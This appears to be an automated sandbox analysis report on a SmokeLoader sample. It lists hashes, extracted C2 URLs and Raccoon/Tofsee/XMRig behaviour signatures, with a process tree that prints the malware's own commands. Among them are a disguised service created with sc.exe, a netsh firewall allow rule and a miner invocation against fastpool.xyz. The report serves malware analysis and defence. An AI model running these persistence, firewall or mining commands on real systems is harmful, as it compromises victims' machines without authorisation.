Analysis

  • max time kernel
    137s
  • max time network
    180s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    29/08/2021, 08:55

General

  • Target

    dd908ee50b4800fa2bf960c3bb88aef6.exe

  • Size

    143KB

  • MD5

    dd908ee50b4800fa2bf960c3bb88aef6

  • SHA1

    5617791af0fe098968ce7dd934f948e2f9c0bce7

  • SHA256

    04b7b21160c2634304e7f9e377dcf1fc98bd6def1bbec40ec2bcfd85e97310d1

  • SHA512

    2baff0db049c2c18da17b3d97946028047c4e8791377f1b0ccf49f6e5dc4fafb7f753dfe05c2138e615ab71a38e088d5dd994077062593644b6320686d7a1557

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforaugust1.xyz/

http://readinglistforaugust2.xyz/

http://readinglistforaugust3.xyz/

http://readinglistforaugust4.xyz/

http://readinglistforaugust5.xyz/

http://readinglistforaugust6.xyz/

http://readinglistforaugust7.xyz/

http://readinglistforaugust8.xyz/

http://readinglistforaugust9.xyz/

http://readinglistforaugust10.xyz/

http://readinglistforaugust1.site/

http://readinglistforaugust2.site/

http://readinglistforaugust3.site/

http://readinglistforaugust4.site/

http://readinglistforaugust5.site/

http://readinglistforaugust6.site/

http://readinglistforaugust7.site/

http://readinglistforaugust8.site/

http://readinglistforaugust9.site/

http://readinglistforaugust10.site/

rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

fe582536ec580228180f270f7cb80a867860e010

Attributes
  • url4cnc

    https://telete.in/xylichanjk

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

d02c5d65069fc7ce1993e7c52edf0c9c4c195c81

Attributes
  • url4cnc

    https://telete.in/open3entershift

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 6 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dd908ee50b4800fa2bf960c3bb88aef6.exe
    "C:\Users\Admin\AppData\Local\Temp\dd908ee50b4800fa2bf960c3bb88aef6.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1060
    • C:\Users\Admin\AppData\Local\Temp\dd908ee50b4800fa2bf960c3bb88aef6.exe
      "C:\Users\Admin\AppData\Local\Temp\dd908ee50b4800fa2bf960c3bb88aef6.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2012
  • C:\Users\Admin\AppData\Local\Temp\9BB3.exe
    C:\Users\Admin\AppData\Local\Temp\9BB3.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1400
  • C:\Users\Admin\AppData\Local\Temp\9D4A.exe
    C:\Users\Admin\AppData\Local\Temp\9D4A.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Modifies system certificate store
    PID:1884
  • C:\Users\Admin\AppData\Local\Temp\9FF9.exe
    C:\Users\Admin\AppData\Local\Temp\9FF9.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fnobdidb\
      2⤵
        PID:880
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nzgaflyg.exe" C:\Windows\SysWOW64\fnobdidb\
        2⤵
          PID:1644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fnobdidb binPath= "C:\Windows\SysWOW64\fnobdidb\nzgaflyg.exe /d\"C:\Users\Admin\AppData\Local\Temp\9FF9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2020
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description fnobdidb "wifi internet conection"
            2⤵
              PID:1576
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start fnobdidb
              2⤵
                PID:912
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:340
              • C:\Windows\SysWOW64\fnobdidb\nzgaflyg.exe
                C:\Windows\SysWOW64\fnobdidb\nzgaflyg.exe /d"C:\Users\Admin\AppData\Local\Temp\9FF9.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:980
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:960
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:540
              • C:\Users\Admin\AppData\Local\Temp\B80C.exe
                C:\Users\Admin\AppData\Local\Temp\B80C.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1708
              • C:\Users\Admin\AppData\Local\Temp\BF4D.exe
                C:\Users\Admin\AppData\Local\Temp\BF4D.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                PID:1968
                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\smss.exe
                  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\smss.exe" -start
                  2⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  PID:756
                • C:\Windows\SysWOW64\notepad.exe
                  notepad.exe
                  2⤵
                    PID:1412
                • C:\Users\Admin\AppData\Local\Temp\C299.exe
                  C:\Users\Admin\AppData\Local\Temp\C299.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1260
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:552
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe
                    1⤵
                      PID:1896
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:1644
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:856
                        • C:\Windows\SysWOW64\explorer.exe
                          C:\Windows\SysWOW64\explorer.exe
                          1⤵
                            PID:1524
                          • C:\Windows\explorer.exe
                            C:\Windows\explorer.exe
                            1⤵
                              PID:1620
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                                PID:552
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe
                                1⤵
                                  PID:1836
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  1⤵
                                    PID:2008

                                  Network

                                  MITRE ATT&CK Enterprise v6

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • memory/540-163-0x0000000000200000-0x00000000002F1000-memory.dmp

                                    Filesize

                                    964KB

                                  • memory/552-114-0x0000000000100000-0x000000000016B000-memory.dmp

                                    Filesize

                                    428KB

                                  • memory/552-113-0x00000000001B0000-0x0000000000224000-memory.dmp

                                    Filesize

                                    464KB

                                  • memory/552-108-0x0000000073B61000-0x0000000073B63000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/552-153-0x00000000000D0000-0x00000000000D4000-memory.dmp

                                    Filesize

                                    16KB

                                  • memory/552-154-0x00000000000C0000-0x00000000000C9000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/856-122-0x0000000000070000-0x0000000000079000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/856-123-0x0000000000060000-0x000000000006F000-memory.dmp

                                    Filesize

                                    60KB

                                  • memory/960-87-0x0000000000080000-0x0000000000095000-memory.dmp

                                    Filesize

                                    84KB

                                  • memory/980-91-0x0000000000400000-0x0000000001D73000-memory.dmp

                                    Filesize

                                    25.4MB

                                  • memory/1060-62-0x0000000000230000-0x000000000023A000-memory.dmp

                                    Filesize

                                    40KB

                                  • memory/1208-63-0x0000000002AC0000-0x0000000002AD6000-memory.dmp

                                    Filesize

                                    88KB

                                  • memory/1260-112-0x0000000000400000-0x0000000001DB7000-memory.dmp

                                    Filesize

                                    25.7MB

                                  • memory/1260-110-0x0000000000220000-0x00000000002AF000-memory.dmp

                                    Filesize

                                    572KB

                                  • memory/1412-145-0x00000000000E0000-0x00000000000E1000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1524-127-0x0000000000090000-0x0000000000095000-memory.dmp

                                    Filesize

                                    20KB

                                  • memory/1524-128-0x0000000000080000-0x0000000000089000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/1620-146-0x00000000000F0000-0x00000000000F6000-memory.dmp

                                    Filesize

                                    24KB

                                  • memory/1620-147-0x00000000000E0000-0x00000000000EC000-memory.dmp

                                    Filesize

                                    48KB

                                  • memory/1644-120-0x0000000000080000-0x000000000008B000-memory.dmp

                                    Filesize

                                    44KB

                                  • memory/1644-118-0x0000000073311000-0x0000000073313000-memory.dmp

                                    Filesize

                                    8KB

                                  • memory/1644-119-0x0000000000090000-0x0000000000097000-memory.dmp

                                    Filesize

                                    28KB

                                  • memory/1708-106-0x0000000005400000-0x0000000005401000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1708-97-0x0000000001040000-0x0000000001041000-memory.dmp

                                    Filesize

                                    4KB

                                  • memory/1836-156-0x0000000000070000-0x0000000000075000-memory.dmp

                                    Filesize

                                    20KB

                                  • memory/1836-157-0x0000000000060000-0x0000000000069000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/1884-72-0x0000000000400000-0x0000000001DB5000-memory.dmp

                                    Filesize

                                    25.7MB

                                  • memory/1884-71-0x00000000002E0000-0x000000000036F000-memory.dmp

                                    Filesize

                                    572KB

                                  • memory/1896-111-0x0000000000070000-0x0000000000077000-memory.dmp

                                    Filesize

                                    28KB

                                  • memory/1896-115-0x0000000000060000-0x000000000006C000-memory.dmp

                                    Filesize

                                    48KB

                                  • memory/2000-78-0x00000000002B0000-0x00000000002C3000-memory.dmp

                                    Filesize

                                    76KB

                                  • memory/2000-79-0x0000000000400000-0x0000000001D73000-memory.dmp

                                    Filesize

                                    25.4MB

                                  • memory/2008-162-0x0000000000080000-0x0000000000089000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/2008-161-0x0000000000090000-0x0000000000095000-memory.dmp

                                    Filesize

                                    20KB

                                  • memory/2012-59-0x0000000000400000-0x0000000000409000-memory.dmp

                                    Filesize

                                    36KB

                                  • memory/2012-61-0x00000000750C1000-0x00000000750C3000-memory.dmp

                                    Filesize

                                    8KB